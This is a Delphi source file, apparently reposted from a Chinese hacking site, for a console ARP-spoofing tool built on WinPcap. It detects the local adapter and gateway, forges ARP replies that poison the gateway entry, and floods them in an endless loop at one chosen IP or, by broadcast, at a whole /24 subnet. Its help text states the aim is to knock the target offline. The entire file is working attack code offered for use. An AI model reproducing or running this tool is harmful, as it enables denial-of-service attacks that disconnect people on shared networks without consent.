program Arp;
{$APPTYPE CONSOLE}
uses
windows,IpHlpApi, IpTypes,
Packet32,WinSock,math;
const
MAC_SIZE = 6;
type
MACADDRESS = array[0 .. MAC_SIZE - 1] of UCHAR;
type
ETHERNET_HDR = packed record
Destination: MACADDRESS;
Source: MACADDRESS;
Protocol: WORD;
end;
type
ARP_HDR = packed record
HardwareType: WORD;
ProtocolType: WORD;
HLen: UCHAR;
PLen: UCHAR;
Operation: WORD;
SenderHA: MACADDRESS;
SenderIP: DWORD;
TargetHA: MACADDRESS;
TargetIP: DWORD;
end;
type
TSendData = Record
HEther : ETHERNET_HDR; //以太网头
ARP : ARP_HDR; //ARP段
end;
var
NameList : Array [0..1024] of char;
Buffer: array[0 .. 63] of Char;
StrData:array[0..10] of string;
BufferStr: String;
NameLength,i:Longword;
Num,Size: Integer;
Strs:String;
p:Padapter;
pp:Ppacket ;
Ch: Byte;
IP: DWORD;
Mac: MACADDRESS;
Gateway: DWORD ;
FComputerName,FComputerIP,CompIp,DestIP:string;
SendData: TSendData;
Ok:Boolean;
Test:String;
function IntToStr(I: DWORD): String;
begin
Str(I, Result);
end;
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;
function MactoStr(Mac: MACADDRESS): String;
var
ch1, ch2: Byte;
i: Integer;
begin
Result := '';
for i := 0 to MAC_SIZE - 1 do
begin
ch1 := Mac[i] and $F0;
ch1 := ch1 shr 4;
if ch1 > 9 then
ch1 := ch1 + Ord('A') - 10
else
ch1 := ch1 + Ord('0');
ch2 := Mac[i] and $0F;
if ch2 > 9 then
ch2 := ch2 + Ord('A') - 10
else
ch2 := ch2 + Ord('0');
Result := Result + Chr(ch1) + Chr(ch2);
if i < 5 then
Result := Result + ':';
end;
end;
function IPtoStr(IP: DWORD): String;
begin
result:=IntToStr((IP and $FF000000) shr 24 )+'.';
result:=result+IntToStr((IP and $00FF0000) shr 16 )+'.';
result:=result+IntToStr((IP and $0000FF00) shr 8 )+'.';
result:=Result+IntToStr((IP and $000000FF) shr 0 );
end;
function Str2IP(s: String): DWORD;
var
i: Integer;
Index: Integer;
Digit: String;
IP: array [0 .. 4 - 1] of DWORD;
Len: Integer;
begin
//try
Index := 1;
for i := 0 to 4 - 1 do
IP[i] := 0;
Len := Length(s);
for i := 0 to 4 - 1 do
begin
Digit := '';
while(s[Index] >= '0') and (s[Index] <= '9') and (Index <= Len) do
begin
Digit := Digit + s[Index];
inc(Index);
end;
inc(Index);
IP[i] := StrToInt(Digit);
end;
Result :=
IP[0] shl 24 +
IP[1] shl 16 +
IP[2] shl 8 +
IP[3] shl 0;
// except
// Result:=0;
// end;
end;
function IntToHex( Value : DWord; Digits : Integer ) : String;
asm // EAX = Value
// EDX = Digits
// ECX = @Result
PUSH 0
ADD ESP, -0Ch
PUSH EDI
PUSH ECX
LEA EDI, [ESP+8+0Fh] // EBX := @Buf[ 15 ]
{$IFDEF SMALLEST_CODE}
{$ELSE}
AND EDX, $F
{$ENDIF}
@@loop:
DEC EDI
DEC EDX
PUSH EAX
{$IFDEF PARANOIA}
DB $24, $0F
{$ELSE}
AND AL, 0Fh
{$ENDIF}
{$IFDEF oldcode}
{$IFDEF PARANOIA}
DB $3C, 9
{$ELSE}
CMP AL, 9
{$ENDIF}
JA @@10
{$IFDEF PARANOIA}
DB $04, 30h-41h+0Ah
{$ELSE}
ADD AL,30h-41h+0Ah
{$ENDIF}
@@10:
{$IFDEF PARANOIA}
DB $04, 41h-0Ah
{$ELSE}
ADD AL,41h-0Ah
{$ENDIF}
{$ELSE newcode}
AAM
DB $D5, $11 //AAD
ADD AL, $30
{$ENDIF newcode}
//MOV byte ptr [EDI], AL
STOSB
DEC EDI
POP EAX
SHR EAX, 4
JNZ @@loop
TEST EDX, EDX
JG @@loop
POP EAX // EAX = @Result
MOV EDX, EDI // EDX = @resulting string
CALL System.@LStrFromPChar
POP EDI
ADD ESP, 10h
end;
function StrToMac(s: String): MACADDRESS;
var
i: Integer;
Index: Integer;
Ch: String;
Mac: MACADDRESS;
begin
Index := 1;
for i := 0 to MAC_SIZE - 1 do
begin
Ch := Copy(s, Index, 2);
Mac[i] := StrToInt('$' + Ch);
inc(Index, 2);
while s[Index] = ':' do
inc(Index);
end;
Result := Mac;
end;
Function GetSubStrNum(aString:String;SepChar:String):integer;
var
i:Integer;
StrLen:Integer;
Num:Integer;
begin
StrLen:=Length(aString);
Num:=0;
For i:=1 to StrLen do
If Copy(aString,i,1) = SepChar then
Num:=Num+1;
result:=Num;
end;
procedure GetClientPcNameIP;
const nSize = 256;
var
strName :PChar;
pWsaData :WSAData;
nHostent :PHostEnt;
Ver :Word;
begin
try
Ver := MakeWord(2,0);
if WSAStartup(Ver,pWsaData) <> 0 then exit;
GetMem(strName,nSize);
if GetHostName(strName,nSize) <> 0 then exit;
FComputerName := strName;
nHostent := GetHostByName(strName);
FComputerIP := inet_ntoa((PInAddr((nHostent.h_addr_list)^))^);
finally
FreeMem(strName);
end;
end;
function Split(Input: string; Deliminator: string; Index: Integer): string;
var
StringLoop, StringCount: Integer;
Buffer: string;
begin
StringCount := 0;
for StringLoop := 1 to Length(Input) do
begin
if (Copy(Input, StringLoop, 1) = Deliminator) then
begin
Inc(StringCount);
if StringCount = Index then
begin
Result := Buffer;
Exit;
end
else
begin
Buffer := '';
end;
end
else
begin
Buffer := Buffer + Copy(Input, StringLoop, 1);
end;
end;
Result := Buffer;
end;
function GetMacByIP(Const IPAddr: string): string;
var
dwResult: DWord;
nIPAddr: integer;
nMacAddr: array[0..5] of Byte;
nAddrLen: Cardinal;
WSAData: TWSAData;
begin
if WSAStartup($101, WSAData)=-1 then Exit;
nIPAddr := INet_Addr(PChar(IPAddr));
if nIPAddr = INADDR_NONE then exit;
nAddrLen := 6;
dwResult:= 1;
try
dwResult := SendARP(nIPAddr, 0, @nMacAddr, nAddrLen);
except end;
if dwResult = 0 then
result := (IntToHex(nMacAddr[0], 2) + ':' +
IntToHex(nMacAddr[1], 2) + ':' +
IntToHex(nMacAddr[2], 2) + ':' +
IntToHex(nMacAddr[3], 2) + ':' +
IntToHex(nMacAddr[4], 2) + ':' +
IntToHex(nMacAddr[5], 2))
else
result := '';
WSACleanup;
end;
procedure MyNetwork(Ms: string;var IP: DWORD;var Mac: MACADDRESS;var Gateway: DWORD);
var
i: Integer;
p, pAdapterInf PIP_ADAPTER_INFO;
uOutBufLen: ULONG;
dwRes: DWORD;
begin
pAdapterInfo := nil;
uOutBufLen := 0;
dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
if dwRes = ERROR_BUFFER_OVERFLOW then
begin
GetMem(pAdapterInfo, uOutBufLen);
dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
end;
if dwRes <> ERROR_SUCCESS then
begin
exit;
end;
p := pAdapterInfo;
while p <> nil do
begin
if Pos(String(p^.AdapterName), Ms) <> 0 then
break;
p := p^.Next;
end;
try
if p <> nil then
begin
IP := Str2IP(p^.IpAddressList.IpAddress.S);
for i := 0 to MAC_SIZE - 1 do
Mac[i] := p^.Address[i];
Gateway := Str2IP(p^.GatewayList.IpAddress.S);
end;
except
end;
FreeMem(pAdapterInfo);
end;
procedure Help;
begin
WriteLn('小小的程序.实验一下ARP欺骗.让个IP.让其断网罢了.运行环境需要Winpcap.作者:Open');
end;
label
start,print;
begin
Help ;
NameLength := 1024;
ZeroMemory(@NameList,1024);
PacketGetAdapterNames(NameList,@NameLength);
for i:=0 to NameLength-1 do begin
if ((NameList[i]=#0) and (NameList[i+1]=#0))then
break
else
if ((NameList[i]=#0) and (NameList[i+1]<>#0))then
NameList[i]:=char(',');
end;
Strs:=StrPas(NameList);
Num:=GetSubStrNum(Strs,',');
GetClientPcNameIP;
for i:=0 to Num do begin
StrData[i]:= Split(Strs,',',i+1);
MyNetwork (StrData[i],ip,mac,Gateway);
CompIp:=iptostr(ip);
if CompIp = FComputerIP then begin
Strs:= StrData[i];
Break;
end;
end;
WriteLn('Ethernet:'+strs);
WriteLn('IP:'+iptostr(ip));
WriteLn('Mac:'+MacToStr(Mac));
WriteLn('Gateway:'+iptostr(Gateway));
WriteLn('1.攻击指定IP 2.攻击一个C段');
print:
Write('请选择:');
Readln(Test);
if (Test <> '1') and (Test <> '2' )then begin
write('你的选择有误 ');
goto print;
end;
ZeroMemory(@SendData,sizeof(TSendData));
if Test = '1' then begin
start:
write('请输入你要攻击的IP:');
Readln(DestIP);
if GetSubStrNum(DestIP,'.')<>3 then begin
WriteLn('输入不正确');
goto start ;
end
else begin
SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );
end ;
end;
if Test = '2' then
SendData.HEther.Destination:= StrToMac('FF:FF:FF:FF:FF:FF') ;
//
///SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );
for i := 0 to MAC_SIZE - 1 do
SendData.HEther.Source[i]:=30+Random(10)-1;
SendData.HEther.Protocol:=$0608;
SendData.ARP.HardwareType:=$0100;
SendData.ARP.ProtocolType:=$08;
SendData.ARP.HLen:=$06;
SendData.ARP.PLen:=$04;
SendData.ARP.Operation:=$0200;
SendData.ARP.SenderHA:=StrToMac('00:00:00:00:00:00');
SendData.ARP.SenderIP:=inet_addr(PChar(iptostr(Gateway)));
p:= PacketOpenAdapter(pchar(strs));
if (p=nil)or (p.hFile=INVALID_HANDLE_VALUE) then Exit;
pp:=PacketAllocatePacket;
PacketInitPacket(pp, @SendData,SizeOf(SendData));
if Test = '1' then begin
WriteLn('正在对IP:' + DestIP + '进行ARP');
end
else begin
WriteLn('正在一个C段进行ARP');
end;
OK:=True;
while ok do begin
PacketSendPacket(p, pp, true);
if i >= 10 then begin
Write('>');
i := 0 ;
end;
i := i + 1 ;
Sleep(50);
end;
PacketFreePacket(pp);
PacketCloseAdapter(p);
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接: [url]http://www.hackbase.com/tech/2008-09-05/41623.html[/url]